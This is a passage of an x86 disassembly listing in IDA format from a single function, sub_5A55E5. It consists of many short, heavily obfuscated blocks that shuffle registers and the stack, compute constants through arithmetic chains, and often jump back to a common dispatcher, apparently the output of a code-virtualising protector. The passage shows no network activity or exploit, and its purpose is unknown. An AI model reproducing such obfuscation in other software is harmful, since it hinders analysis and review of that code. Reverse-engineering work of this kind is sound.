; ---------------------------------------------------------------------------


loc_5BBFA2:				; CODE XREF: sub_5A55E5+135D2j
		sub	ecx, esi
		jmp	loc_5AD79D
; ---------------------------------------------------------------------------


loc_5BBFA9:				; CODE XREF: sub_5A55E5+C006j
		mov	edi, 67705E19h
		jmp	loc_5AE11D
; ---------------------------------------------------------------------------


loc_5BBFB3:				; CODE XREF: sub_5A55E5+F740j
		push	eax
		mov	ah, 91h
		not	ah
		and	ah, 0D0h
		not	ah
		sub	ah, 0Dh
		jmp	loc_5AC71F
; ---------------------------------------------------------------------------


loc_5BBFC5:				; CODE XREF: sub_5A55E5+1161Dj
		add	esi, 55C22667h
		jmp	loc_5B4658
; ---------------------------------------------------------------------------


loc_5BBFD0:				; CODE XREF: sub_5A55E5+121C9j
		mov	[esp+4Eh+var_50+2], ecx
		jmp	loc_5B6890
; ---------------------------------------------------------------------------


loc_5BBFD8:				; CODE XREF: sub_5A55E5+9B54j
		sub	eax, esi
		pop	esi
		shl	eax, 5
		xor	eax, 7F772FD7h
		dec	eax
		shr	eax, 2
		xor	eax, 0EC4636C3h
		jmp	loc_5ABDB4
; ---------------------------------------------------------------------------


loc_5BBFF1:				; CODE XREF: sub_5A55E5+9385j
		add	ebx, 51334CBEh
		jmp	loc_5B92D5
; ---------------------------------------------------------------------------


loc_5BBFFC:				; CODE XREF: sub_5A55E5+8CF7j
		push	edi
		push	39F55C5h
		pop	edi
		jmp	loc_5B6845
; ---------------------------------------------------------------------------


loc_5BC008:				; CODE XREF: sub_5A55E5+79BDj
		shl	edx, 2
		shl	edx, 2
		sub	edx, 6A87F6D3h
		mov	ebx, edx
		pop	edx
		sub	esp, 4
		jmp	loc_5AAABA
; ---------------------------------------------------------------------------


loc_5BC022:				; CODE XREF: sub_5A55E5+CEC2j
		push	ebx
		push	[esp+44h+var_42+2]
		pop	ebx
		pop	[esp+44h+var_46+2]
		pop	esp
		mov	[esp+3Ch+var_3E+2], edi
		jmp	loc_5B0852
; ---------------------------------------------------------------------------


loc_5BC034:				; CODE XREF: sub_5A55E5+14829j
		push	5809h
		mov	[esp+18h+var_18], esi
		mov	esi, 4
		sub	edi, 40AD50A0h
		push	esi
		jmp	loc_5B90B3
; ---------------------------------------------------------------------------


loc_5BC04D:				; CODE XREF: sub_5A55E5+F780j
		sub	esi, ebp
		pop	ebp
		jmp	loc_5B9C17
; ---------------------------------------------------------------------------


loc_5BC055:				; CODE XREF: sub_5A55E5+A78Ej
		shr	cx, 3
		dec	cx
		jmp	loc_5B59CA
; ---------------------------------------------------------------------------


loc_5BC060:				; CODE XREF: sub_5A55E5+FACCj
		push	[esp+34h+var_32+2]
		jmp	loc_5B2324
; ---------------------------------------------------------------------------


loc_5BC069:				; CODE XREF: sub_5A55E5+DD15j
		add	[esp+46h+var_42], ebx
		pop	ebx
		push	ecx
		push	edx
		mov	edx, 51F07A9Fh
		jmp	loc_5B2A10
; ---------------------------------------------------------------------------


loc_5BC07A:				; CODE XREF: sub_5A55E5+11570j
		pop	ebp
		add	ebp, 60144D00h
		push	eax
		jmp	loc_5B90DA
; ---------------------------------------------------------------------------


loc_5BC087:				; CODE XREF: sub_5A55E5+14333j
		inc	edx
		push	0
		jmp	loc_5AB2D9
; ---------------------------------------------------------------------------


loc_5BC092:				; CODE XREF: sub_5A55E5+8ACEj
		mov	ebp, [esp+3Ah+var_3A]
		add	esp, 4
		not	edx
		push	esi
		mov	esi, 104622B4h
		inc	esi
		sub	esi, 64A0724h
		xchg	edi, esi
		not	edi
		xchg	edi, esi
		add	esi, 344E23BEh
		add	esi, 0BD4D74D6h
		jmp	loc_5BDA65
; ---------------------------------------------------------------------------


loc_5BC0C1:				; CODE XREF: sub_5A55E5+15D79j
		push	esi
		push	ebp
		mov	ebp, 3F21106Eh
		mov	esi, 0C57CF205h
		add	esi, ebp
		pop	ebp
		sub	ebx, esi
		mov	esi, [esp+38h+var_3A+2]
		add	esp, 4
		jmp	loc_5BB46F
; ---------------------------------------------------------------------------


loc_5BC0DD:				; CODE XREF: sub_5A55E5+13F1Dj
		mov	ebp, 523B3D3Fh
		push	54FAh
		mov	[esp+18h+var_18], esi
		push	ecx
		mov	ecx, 7E2E3DD6h
		shr	ecx, 8
		push	eax
		mov	eax, 5235894h
		add	ecx, eax
		jmp	loc_5B9A7F
; ---------------------------------------------------------------------------


loc_5BC100:				; CODE XREF: sub_5A55E5+19352j
		pop	esp
		mov	[esp+1Ch+var_1C], eax
		mov	eax, 2C5F27C4h
		sub	ebp, eax
		push	[esp+1Ch+var_1C]
		pop	eax
		jmp	loc_5B37B0
; ---------------------------------------------------------------------------


loc_5BC114:				; CODE XREF: sub_5A55E5+19567j
		mov	al, ch
		push	ecx
		mov	cl, al
		jmp	loc_5B3E5B
; ---------------------------------------------------------------------------


loc_5BC11E:				; CODE XREF: sub_5A55E5+F1F8j
		pop	ebp
		mov	esi, [esp+20h+var_22+2]
		add	esp, 4
		xor	eax, edx
		mov	edx, [esp+1Ch+var_1C]
		add	esp, 4
		sub	esp, 4
		mov	[esp+1Ch+var_1C], esi
		push	5542h
		mov	[esp+20h+var_22+2], ecx
		mov	ecx, 0F5973EFh
		jmp	loc_5AEE56
; ---------------------------------------------------------------------------


loc_5BC14B:				; CODE XREF: sub_5A55E5+CFC5j
		sub	bp, si
		jmp	loc_5BB71B
; ---------------------------------------------------------------------------


loc_5BC153:				; CODE XREF: sub_5A55E5+15B82j
		push	eax
		jmp	loc_5AB064
; ---------------------------------------------------------------------------


loc_5BC159:				; CODE XREF: sub_5A55E5+D72Cj
		pop	edi
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp+52h+var_54+2]
		pop	esp
		mov	[esp+4Eh+var_50+2], edi
		jmp	loc_5AEE6B
; ---------------------------------------------------------------------------


loc_5BC172:				; CODE XREF: sub_5A55E5+DCADj
		pop	esp
		mov	[esp+28h+var_2A+2], edi
		mov	edi, esp
		jmp	loc_5B90C6
; ---------------------------------------------------------------------------


loc_5BC17D:				; CODE XREF: sub_5A55E5+14B49j
		push	ecx
		jmp	loc_5B51CB
; ---------------------------------------------------------------------------


loc_5BC183:				; CODE XREF: sub_5A55E5+17063j
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_5AC4E2
; ---------------------------------------------------------------------------


loc_5BC191:				; CODE XREF: sub_5A55E5+725Ej
		add	esi, ecx
		pop	ecx
		push	esi
		push	[esp+34h+var_32+2]
		pop	esi
		pop	[esp+34h+var_36+2]
		pop	esp
		pop	[esp+2Ch+var_2E+2]
		mov	esp, [esp+28h+var_2A+2]
		shl	byte ptr [esp+28h+var_2A+2], cl
		pushf
		jmp	loc_5A9A27
; ---------------------------------------------------------------------------


loc_5BC1AD:				; CODE XREF: sub_5A55E5+6A1Aj
		sub	eax, 52B00E8Fh
		sub	eax, edx
		push	edi
		mov	edi, 0E8A16F5h
		or	edi, 13757008h
		inc	edi
		jmp	loc_5BE3ED
; ---------------------------------------------------------------------------


loc_5BC1C6:				; CODE XREF: sub_5A55E5+164A8j
		mov	ebp, 3A5E7C98h
		and	ecx, ebp
		push	[esp+24h+var_26+2]
		pop	ebp
		add	esp, 4
		jmp	loc_5B5747
; ---------------------------------------------------------------------------


loc_5BC1DC:				; CODE XREF: sub_5A55E5+A6E0j
		mov	eax, [esp+1Ch+var_1C]
		add	esp, 4
		xor	eax, 0CEF0C1Ah
		push	[esp+18h+var_18]
		pop	edi
		add	esp, 4
		push	1975h
		mov	[esp+18h+var_18], ebp
		push	75EFh
		mov	[esp+1Ch+var_1C], esp
		add	[esp+1Ch+var_1C], 4
		jmp	loc_5AA37C
; ---------------------------------------------------------------------------


loc_5BC20A:				; CODE XREF: sub_5A55E5+D7E4j
		push	ebp
		mov	ebp, 1BBE4DDBh
		sub	edx, ebp
		pop	ebp
		jmp	loc_5BD758
; ---------------------------------------------------------------------------


loc_5BC218:				; CODE XREF: sub_5A55E5+B41Cj
		push	[esp+20h+var_22+2]
		pop	edi
		push	ebp
		jmp	loc_5B6B6F
; ---------------------------------------------------------------------------


loc_5BC222:				; CODE XREF: sub_5A55E5+123B0j
		push	ebx
		mov	ebx, 4
		jmp	loc_5BF030
; ---------------------------------------------------------------------------


loc_5BC22D:				; CODE XREF: sub_5A55E5+FFF9j
		shl	eax, 7
		add	eax, 93BD542h
		jmp	loc_5AEEC1
; ---------------------------------------------------------------------------


loc_5BC23A:				; CODE XREF: sub_5A55E5+1814Fj
		pop	eax
		push	4A2Fh
		jmp	loc_5ACB17
; ---------------------------------------------------------------------------


loc_5BC245:				; CODE XREF: sub_5A55E5+8B06j
		pop	esp
		jmp	loc_5B81CC
; ---------------------------------------------------------------------------


loc_5BC24B:				; CODE XREF: sub_5A55E5+708Aj
		add	eax, 4
		jmp	loc_5BAD81
; ---------------------------------------------------------------------------


loc_5BC255:				; CODE XREF: sub_5A55E5+884Bj
		mov	ebx, [esp+18h+var_18]
		jmp	loc_5ABE32
; ---------------------------------------------------------------------------


loc_5BC25D:				; CODE XREF: sub_5A55E5+10868j
		add	[esp+20h+var_1C], 794732B3h
		pop	edx
		mov	edi, [esp+1Ch+var_1C]
		jmp	loc_5BA4A6
; ---------------------------------------------------------------------------


loc_5BC26E:				; CODE XREF: sub_5A55E5+10112j
		pop	ebx
		shl	dh, 1
		sub	dh, 0DCh
		sub	dh, 57h
		add	ch, dh
		pop	edx
		push	6C02h
		jmp	loc_5B74F4
; ---------------------------------------------------------------------------


loc_5BC284:				; CODE XREF: sub_5A55E5+1013Fj
		sub	ebx, eax
		jmp	loc_5BD3CE
; ---------------------------------------------------------------------------


loc_5BC28B:				; CODE XREF: sub_5A55E5+12CF5j
		push	[esp+5Ah+var_5C+2]
		jmp	loc_5B6BC7
; ---------------------------------------------------------------------------


loc_5BC293:				; CODE XREF: sub_5A55E5+18279j
		add	esp, 4
		push	edx
		push	esi
		mov	esi, 38321A25h
		mov	edx, 26B66249h
		jmp	loc_5AC72B
; ---------------------------------------------------------------------------


loc_5BC2AA:				; CODE XREF: sub_5A55E5+166BAj
		push	6F5h
		mov	[esp+0], edx
		mov	edx, 520D710Bh
		add	edx, 5AB92174h
		and	edx, 11A34CBAh
		shl	edx, 5
		push	ebx
		mov	ebx, 0E504ACAh
		jmp	loc_5B9729
; ---------------------------------------------------------------------------


loc_5BC2D1:				; CODE XREF: sub_5A55E5+4814j
		add	ebp, ebx
		pop	ebx
		xchg	ebp, [esp+46h+var_46]
		pop	esp
		jmp	loc_5AB739
; ---------------------------------------------------------------------------


loc_5BC2DD:				; CODE XREF: sub_5A55E5+F176j
		dec	eax
		neg	eax
		dec	eax
		xor	eax, 0CB9E0B8Eh
		xor	ebx, eax
		pop	eax
		mov	edi, ebx
		mov	ebx, [esp+24h+var_26+2]
		add	esp, 4
		jmp	loc_5AF725
; ---------------------------------------------------------------------------


loc_5BC2F6:				; CODE XREF: sub_5A55E5+72BBj
		add	esp, 4
		add	ecx, ebp
		pop	ebp
		push	7757h
		mov	[esp+24h+var_26+2], esi
		jmp	loc_5BEF18
; ---------------------------------------------------------------------------


loc_5BC309:				; CODE XREF: sub_5A55E5+10583j
		add	esp, 4
		shr	ebx, 7
		shr	ebx, 4
		sub	ebx, 0ADEA3E09h
		jmp	loc_5B9AE5
; ---------------------------------------------------------------------------


loc_5BC320:				; CODE XREF: sub_5A55E5+18E03j
		sub	esp, 4
		mov	[esp+22h+var_22], ebp
		mov	ebp, 115F7AD5h
		jmp	loc_5B1334
; ---------------------------------------------------------------------------


loc_5BC333:				; CODE XREF: sub_5A55E5+1957Bj
		sub	ecx, edi
		add	ecx, 5B091080h
		mov	edi, [esp+22h+var_22]
		add	esp, 4
		add	esi, 788855A0h
		add	esi, ecx
		sub	esi, 788855A0h
		pop	ecx
		push	ecx
		mov	ecx, 2
		jmp	loc_5B9A71
; ---------------------------------------------------------------------------


loc_5BC35B:				; CODE XREF: sub_5A55E5+18204j
		add	ch, 38h
		sub	dh, ch
		pop	ecx
		push	edx
		mov	dh, 5Ch
		sub	al, dh
		jmp	loc_5BAD50
; ---------------------------------------------------------------------------


loc_5BC36B:				; CODE XREF: sub_5A55E5+E2EAj
		mov	ebx, 6E596411h
		push	ebp
		mov	ebp, 2123F841h
		sub	ebx, ebp
		pop	ebp
		sub	[esp+1Ch+var_18], ebx
		pop	ebx
		push	ebp
		mov	ebp, 61BD54CCh
		add	[esp+1Ch+var_18], 26CF6E4Fh
		add	[esp+1Ch+var_18], ebp
		push	eax
		mov	eax, 26CF6E4Fh
		sub	[esp+20h+var_18], eax
		pop	eax
		jmp	loc_5BD36F
; ---------------------------------------------------------------------------


loc_5BC3A0:				; CODE XREF: sub_5A55E5+14A92j
		mov	[esp+0Ch+var_C], edi
		mov	edi, 32664656h
		not	edi
		shl	edi, 8
		add	edi, 67155E7Fh
		add	edx, edi
		mov	edi, [esp+0Ch+var_C]
		push	edx
		mov	edx, esp
		add	edx, 4
		push	eax
		mov	eax, 4
		jmp	loc_5B3FF8
; ---------------------------------------------------------------------------


loc_5BC3CC:				; CODE XREF: sub_5A55E5+F0A8j
		mov	[esp+5Ah+var_5C+2], edi
		mov	edi, 5BDF5435h
		push	6453h
		mov	[esp+5Eh+var_60+2], eax
		jmp	loc_5BA313
; ---------------------------------------------------------------------------


loc_5BC3E1:				; CODE XREF: sub_5A55E5+F7C5j
		add	bl, ah
		pop	eax
		jmp	loc_5A9C06
; ---------------------------------------------------------------------------


loc_5BC3E9:				; CODE XREF: sub_5A55E5+196A2j
		mov	[esp+0Ch+var_C], esi
		push	esp
		jmp	loc_5B815E
; ---------------------------------------------------------------------------


loc_5BC3F2:				; CODE XREF: sub_5A55E5+19086j
		sub	edi, 4
		xchg	edi, [esp+10h+var_10]
		pop	esp
		jmp	loc_5BA69D
; ---------------------------------------------------------------------------


loc_5BC3FE:				; CODE XREF: sub_5A55E5+79A6j
		add	esp, 2
		push	eax
		sub	esp, 4
		mov	[esp+34h+var_36+2], ebx
		push	ecx
		mov	ch, 49h
		jmp	loc_5BDB66
; ---------------------------------------------------------------------------


loc_5BC413:				; CODE XREF: sub_5A55E5+18BF9j
		push	[esp+38h+var_3A+2]
		mov	ebx, [esp+3Ch+var_3E+2]
		jmp	loc_5B3C39
; ---------------------------------------------------------------------------


loc_5BC41E:				; CODE XREF: sub_5A55E5+12DA1j
		push	esi
		mov	esi, 0E862371h
		push	edx
		push	7541E05h
		pop	edx
		jmp	loc_5AFB52
; ---------------------------------------------------------------------------


loc_5BC430:				; CODE XREF: sub_5A55E5+1153Dj
		push	5D4Dh
		mov	[esp+3Ch+var_3E+2], edi
		push	[esp+3Ch+var_3A+2]
		jmp	loc_5B8D2D
; ---------------------------------------------------------------------------


loc_5BC441:				; CODE XREF: sub_5A55E5+18E8Cj
		mov	ecx, 6DD12739h
		jmp	loc_5BADB9
; ---------------------------------------------------------------------------


loc_5BC44B:				; CODE XREF: sub_5A55E5+AF5Cj
		sub	esp, 4
		mov	[esp+28h+var_2A+2], esp
		push	ecx
		jmp	loc_5B385B
; ---------------------------------------------------------------------------


loc_5BC45A:				; CODE XREF: sub_5A55E5+87D0j
		jmp	loc_5A9A27
; ---------------------------------------------------------------------------


loc_5BC45F:				; DATA XREF: sub_5A55E5+42ABo
		push	ebx
		push	esp
		jmp	loc_5BA46B
; ---------------------------------------------------------------------------


loc_5BC466:				; CODE XREF: sub_5A55E5+50EBj
		mov	ebp, 53DF35DBh
		sub	eax, 2F31790h
		add	eax, ebp
		add	eax, 2F31790h
		mov	ebp, [esp+18h+var_18]
		add	esp, 4
		push	edi
		mov	edi, 7912072h
		add	eax, edi
		pop	edi
		sub	eax, 0C78193Ch
		add	eax, ebx
		add	eax, 0C78193Ch
		sub	esp, 4
		jmp	loc_5B9635
; ---------------------------------------------------------------------------


loc_5BC4A0:				; CODE XREF: sub_5A55E5+97C0j
		not	ch
		inc	ch
		push	eax
		mov	ah, 1
		add	ch, ah
		pop	eax
		add	ch, 0FEh
		jmp	loc_5B4A36
; ---------------------------------------------------------------------------


loc_5BC4B2:				; CODE XREF: sub_5A55E5+5EADj
		sub	esp, 4
		jmp	loc_5B0613
; ---------------------------------------------------------------------------


loc_5BC4BD:				; CODE XREF: sub_5A55E5+109A2j
		xor	[esp+20h+var_22+2], esi
		xor	esi, [esp+20h+var_22+2]
		mov	esp, [esp+20h+var_22+2]
		jmp	loc_5B4BC9
; ---------------------------------------------------------------------------


loc_5BC4CB:				; CODE XREF: sub_5A55E5+7F72j
		mov	esp, [esp+10h+var_10]
		sub	ebp, 4
		sub	esp, 4
		mov	[esp+14h+var_14], edx
		push	esp
		pop	edx
		push	ecx
		mov	ecx, 4
		sub	edx, 47E501B2h
		jmp	loc_5AF168
; ---------------------------------------------------------------------------


loc_5BC4ED:				; CODE XREF: sub_5A55E5+C07Cj
		shr	edi, 4
		push	eax
		mov	eax, 46BA0472h
		dec	eax
		jmp	loc_5BB16C
; ---------------------------------------------------------------------------


loc_5BC4FC:				; CODE XREF: sub_5A55E5+16841j
		push	28Bh
		mov	[esp+20h+var_22+2], ebx
		mov	bh, 92h
		dec	bh
		not	bh
		jmp	loc_5AA14A
; ---------------------------------------------------------------------------


loc_5BC50F:				; CODE XREF: sub_5A55E5+129DDj
		push	ecx
		push	edx
		push	eax
		mov	eax, 0D1A747Fh
		sub	eax, 0D234646Eh
		push	edi
		push	eax
		pop	edi
		mov	edx, edi
		pop	edi
		pop	eax
		mov	ecx, 98B2525h
		xor	ecx, edx
		pop	edx
		shr	ecx, 5
		and	ecx, 151228C1h
		inc	ecx
		sub	ecx, 0A40E098Fh
		and	ebx, ecx
		pop	ecx
		not	ebx
		inc	ebx
		push	edi
		mov	edi, 0FFFFFFFFh
		add	ebx, edi
		pop	edi
		push	ecx
		jmp	loc_5BB52B
; ---------------------------------------------------------------------------


loc_5BC550:				; CODE XREF: sub_5A55E5+8101j
		xor	edx, 6DF93634h
		jmp	loc_5B7039
; ---------------------------------------------------------------------------


loc_5BC55B:				; CODE XREF: sub_5A55E5+D886j
		add	ebp, 465954E5h
		pop	edx
		jmp	loc_5AA0FE
; ---------------------------------------------------------------------------


loc_5BC567:				; CODE XREF: sub_5A55E5+BCCEj
		xor	edx, [esp+2Eh+var_2E]
		xor	[esp+2Eh+var_2E], edx
		xor	edx, [esp+2Eh+var_2E]
		mov	esp, [esp+2Eh+var_2E]
		ror	byte ptr [esp+2Eh+var_2E], cl
		pushf
		jmp	loc_5A9A27
; ---------------------------------------------------------------------------


loc_5BC57C:				; CODE XREF: sub_5A55E5+E33Dj
		xor	ecx, 7BB4C10Ch
		mov	ebp, ecx
		mov	ecx, [esp+18h+var_18]
		add	esp, 4
		xor	ebp, ecx
		pop	ecx
		add	esi, 352F2969h
		sub	esi, 36957E77h
		add	esi, ebp
		add	esi, 36957E77h
		push	ebp
		mov	ebp, 6982D66h
		jmp	loc_5B5D8D
; ---------------------------------------------------------------------------


loc_5BC5AC:				; DATA XREF: sub_5A55E5+42EBo
		mov	ax, word ptr [esp+14h+var_14]
		push	6820h
		mov	[esp+18h+var_18], ebx
		mov	ebx, esp
		push	5D90h
		mov	[esp+1Ch+var_1C], eax
		mov	eax, 6A1234B8h
		add	eax, 45E27ED4h
		push	ebp
		sub	esp, 4
		jmp	loc_5B5850
; ---------------------------------------------------------------------------


loc_5BC5D5:				; CODE XREF: sub_5A55E5+12402j
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp+6+var_8+2]
		jmp	loc_5BE521
; ---------------------------------------------------------------------------


loc_5BC5E5:				; CODE XREF: sub_5A55E5+B38Cj
		add	esi, 67E1787Ch
		jmp	loc_5B5105
; ---------------------------------------------------------------------------


loc_5BC5F0:				; CODE XREF: sub_5A55E5+7FA4j
		neg	ecx
		jmp	loc_5B2FFD
; ---------------------------------------------------------------------------


loc_5BC5F7:				; CODE XREF: sub_5A55E5+1023Bj
		push	esp
		pop	esi
		push	ecx
		mov	ecx, 42655BD5h
		shl	ecx, 6
		neg	ecx
		jmp	loc_5B2B7E
; ---------------------------------------------------------------------------


loc_5BC609:				; CODE XREF: sub_5A55E5+E803j
		xor	ebp, [esp+18h+var_18]
		mov	esp, [esp+18h+var_18]
		push	458h
		mov	[esp+1Ch+var_1C], eax
		jmp	loc_5A9A27
; ---------------------------------------------------------------------------


loc_5BC61C:				; CODE XREF: sub_5A55E5+15778j
		mov	edx, [esp+20h+var_22+2]
		jmp	loc_5B05C6
; ---------------------------------------------------------------------------


loc_5BC624:				; CODE XREF: sub_5A55E5+A630j
		shr	word ptr [esp+16h+var_18+2], cl
		pushf
		jmp	loc_5BEDD3
; ---------------------------------------------------------------------------


loc_5BC62E:				; CODE XREF: sub_5A55E5+FE24j
		mov	[esp+60h+var_60], eax
		mov	al, dh
		jmp	loc_5B1694
; ---------------------------------------------------------------------------


loc_5BC638:				; CODE XREF: sub_5A55E5+1342Dj
		mov	[esp+30h+var_32+2], edi
		mov	edi, 4
		add	ecx, edi
		push	[esp+30h+var_32+2]
		mov	edi, [esp+34h+var_36+2]
		jmp	loc_5BC183
; ---------------------------------------------------------------------------


loc_5BC64D:				; CODE XREF: sub_5A55E5+48AAj
		add	edx, eax
		jmp	loc_5B8574
; ---------------------------------------------------------------------------


loc_5BC654:				; CODE XREF: sub_5A55E5+E292j
		sub	ebp, 4
		xor	ebp, [esp+28h+var_2A+2]
		xor	[esp+28h+var_2A+2], ebp
		xor	ebp, [esp+28h+var_2A+2]
		mov	esp, [esp+28h+var_2A+2]
		mov	[esp+28h+var_2A+2], edi
		mov	edi, eax
		jmp	loc_5B1190
; ---------------------------------------------------------------------------


loc_5BC670:				; CODE XREF: sub_5A55E5+DA9Aj
		add	ecx, edx
		pop	edx
		xchg	ecx, [esp+22h+var_22]
		pop	esp
		push	esi
		jmp	loc_5AE102
; ---------------------------------------------------------------------------


loc_5BC67D:				; CODE XREF: sub_5A55E5+CECAj
		pop	edi
		sub	esp, 4
		mov	[esp+44h+var_46+2], esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp+44h+var_46+2]
		pop	esp
		push	2D54h
		jmp	loc_5B95DC
; ---------------------------------------------------------------------------


loc_5BC6A0:				; CODE XREF: sub_5A55E5+119D9j
		pop	ebx
		push	ebp
		push	esp
		pop	ebp
		add	ebp, 4
		push	eax
		mov	eax, 4
		sub	ebp, 1F443E27h
		add	ebp, eax
		add	ebp, 1F443E27h
		pop	eax
		xor	ebp, [esp+3Ah+var_3A]
		xor	[esp+3Ah+var_3A], ebp
		jmp	loc_5B25CF
; ---------------------------------------------------------------------------


loc_5BC6CA:				; CODE XREF: sub_5A55E5+14110j
		pop	ebp
		push	1EF0h
		jmp	loc_5B4266
; ---------------------------------------------------------------------------


loc_5BC6D5:				; CODE XREF: sub_5A55E5+1141Cj
		xor	ch, 87h
		sub	dh, ch
		pop	ecx
		add	dh, 0C1h
		sub	al, dh
		pop	edx
		mov	ebx, [esp+36h+var_36]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp+3Ah+var_3A]
		mov	esp, [esp+3Ah+var_3A]
		jmp	loc_5ACA74
; ---------------------------------------------------------------------------


loc_5BC6FE:				; CODE XREF: sub_5A55E5+156BCj
		mov	edi, esp
		add	edi, 4
		jmp	loc_5B6287
; ---------------------------------------------------------------------------


loc_5BC70B:				; CODE XREF: sub_5A55E5+C715j
		mov	[esp-8+arg_4], esi
		jmp	loc_5B38AE
; ---------------------------------------------------------------------------


loc_5BC713:				; CODE XREF: sub_5A55E5+12F42j
		mov	eax, 4C7802D1h
		not	eax
		jmp	loc_5B24B4
; ---------------------------------------------------------------------------


loc_5BC71F:				; CODE XREF: sub_5A55E5+555Cj
		add	ebx, 70707CE0h
		sub	ebx, eax
		jmp	loc_5B3D15
; ---------------------------------------------------------------------------


loc_5BC72C:				; CODE XREF: sub_5A55E5+195F4j
		sub	esp, 4
		mov	[esp+5Ah+var_5C+2], ebx
		push	5D10h
		mov	[esp+5Eh+var_60+2], ecx
		push	5CD24F4Fh
		jmp	loc_5AF424
; ---------------------------------------------------------------------------


loc_5BC744:				; CODE XREF: sub_5A55E5+15FD8j
		xor	ebp, [esp+20h+var_22+2]
		mov	esp, [esp+20h+var_22+2]
		mov	[esp+20h+var_22+2], edx
		jmp	loc_5BA5A4
; ---------------------------------------------------------------------------


loc_5BC752:				; CODE XREF: sub_5A55E5+18C8Dj
		and	edi, 1DEA5A17h
		xor	edi, 0D025B7Eh
		sub	esi, edi
		jmp	loc_5AD0C4
; ---------------------------------------------------------------------------


loc_5BC765:				; CODE XREF: sub_5A55E5+11231j
		not	ecx
		sub	ecx, 1
		jmp	loc_5B11B4
; ---------------------------------------------------------------------------


loc_5BC772:				; CODE XREF: sub_5A55E5+F512j
		add	ebp, 327F762Ch
		add	ebp, esi
		sub	ebp, 327F762Ch
		jmp	loc_5BC996
; ---------------------------------------------------------------------------


loc_5BC785:				; CODE XREF: sub_5A55E5+D23Aj
		or	esi, 3C9E5C3Fh
		neg	esi
		inc	esi
		add	esi, 8314BC24h
		sub	ebp, esi
		pop	esi
		inc	ebp
		sub	ebp, 0EB578B4Eh
		push	ebp
		xor	[esp+1Ch+var_1C], 6D074142h
		pop	ecx
		xor	ecx, 6D074142h
		pop	ebp
		neg	ecx
		shr	ecx, 1
		not	ecx
		xchg	esi, ecx
		inc	esi
		xchg	esi, ecx
		sub	ecx, 90FA3DECh
		mov	esi, ecx
		pop	ecx
		sub	esi, edx
		mov	edx, esi
		mov	esi, [esp+10h+var_10]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+14h+var_14]
		pop	esp
		add	edx, 0D7CD1AFEh
		sub	eax, edx
		pop	edx
		xor	ebx, eax
		movzx	ax, byte ptr [eax]
		jmp	loc_5B0314
; ---------------------------------------------------------------------------


loc_5BC7ED:				; CODE XREF: sub_5A55E5+86BDj
		add	esp, 4
		jmp	loc_5B2BE5
; ---------------------------------------------------------------------------


loc_5BC7F8:				; CODE XREF: sub_5A55E5+8CFFj
		mov	esp, [esp+28h+var_2A+2]
		push	esi
		mov	edi, [esp+2Ch+var_2E+2]
		push	ebx
		jmp	loc_5B5D5E
; ---------------------------------------------------------------------------


loc_5BC805:				; CODE XREF: sub_5A55E5+12CFFj
		xor	edi, 79C03DCh
		jmp	loc_5BA069
; ---------------------------------------------------------------------------


loc_5BC810:				; CODE XREF: sub_5A55E5+9143j
		xor	al, bh
		jmp	loc_5B52FE
; ---------------------------------------------------------------------------


loc_5BC817:				; CODE XREF: sub_5A55E5+D7B6j
		pop	ecx
		or	ecx, 0C5D3588h
		inc	ecx
		shr	ecx, 2
		add	ecx, 0EC88B085h
		mov	edx, ecx
		pop	ecx
		mov	edi, edx
		pop	edx
		sub	esi, 290B21B0h
		add	esi, edi
		jmp	loc_5B26D9
; ---------------------------------------------------------------------------


loc_5BC83B:				; CODE XREF: sub_5A55E5+B79Ej
		mov	[esp+14h+var_14], ebx
		sub	esp, 4
		mov	[esp+18h+var_18], esi
		push	edx
		mov	edx, 31A36AA9h
		add	edx, 13CBD81h
		mov	esi, edx
		pop	edx
		push	esi
		mov	ebx, [esp+1Ch+var_1C]
		add	esp, 4
		jmp	loc_5B5328
; ---------------------------------------------------------------------------


loc_5BC865:				; CODE XREF: sub_5A55E5+814Bj
		push	esp
		mov	edi, [esp+36h+var_36]
		add	esp, 4
		jmp	loc_5AE0F0
; ---------------------------------------------------------------------------


loc_5BC871:				; CODE XREF: sub_5A55E5+DA29j
		push	edx
		mov	edx, 5035258h
		sub	esi, edx
		pop	edx
		add	esi, edi
		add	esi, 5035258h
		pop	edi
		jmp	loc_5BD967
; ---------------------------------------------------------------------------


loc_5BC888:				; CODE XREF: sub_5A55E5+9B7Ej
		mov	[esp+18h+var_18], ebp
		push	esp
		pop	ebp
		push	esi
		mov	esi, 342A626Ah
		xor	esi, 342A626Eh
		jmp	loc_5BE359
; ---------------------------------------------------------------------------


loc_5BC89E:				; CODE XREF: sub_5A55E5+DBA7j
		pop	ecx
		xor	edx, 0A71010Ah
		add	edx, 64E91BF2h
		jmp	loc_5ACFA0
; ---------------------------------------------------------------------------


loc_5BC8B0:				; CODE XREF: sub_5A55E5+9C66j
		add	edi, ebp
		jmp	loc_5B7CFA
; ---------------------------------------------------------------------------


loc_5BC8B7:				; CODE XREF: sub_5A55E5+13CCBj
		add	ebx, 4
		xchg	ebx, [esp+20h+var_22+2]
		jmp	loc_5B9188
; ---------------------------------------------------------------------------


loc_5BC8C5:				; DATA XREF: sub_5A55E5+425Fo
		lodsd
		jmp	loc_5AEF22
; ---------------------------------------------------------------------------


loc_5BC8CB:				; CODE XREF: sub_5A55E5+6094j
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+3Ch+var_3E+2]
		pop	esp
		not	cl
		push	bx
		jmp	loc_5B3BAA
; ---------------------------------------------------------------------------


loc_5BC8E1:				; CODE XREF: sub_5A55E5+19A46j
		add	ebp, ecx
		mov	ecx, [esp+3Ah+var_3A]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp+3Eh+var_3E]
		pop	esp
		pop	ebx
		xchg	ebp, [esp+36h+var_36]
		pop	esp
		rol	word ptr [esp+32h+var_32], cl
		pushf
		jmp	loc_5A9A27
; ---------------------------------------------------------------------------


loc_5BC906:				; CODE XREF: sub_5A55E5+E89Aj
		mov	[esp+18h+var_18], edx
		push	[esp+18h+var_14]
		mov	edx, [esp+1Ch+var_1C]
		push	1339h
		mov	[esp+20h+var_22+2], esi
		sub	esp, 4
		push	esp
		jmp	loc_5AA771
; ---------------------------------------------------------------------------


